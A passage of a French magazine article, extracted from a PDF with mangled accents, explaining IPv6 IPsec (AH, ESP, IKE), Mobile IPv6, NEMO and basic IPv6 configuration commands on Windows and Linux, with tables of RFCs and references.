Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

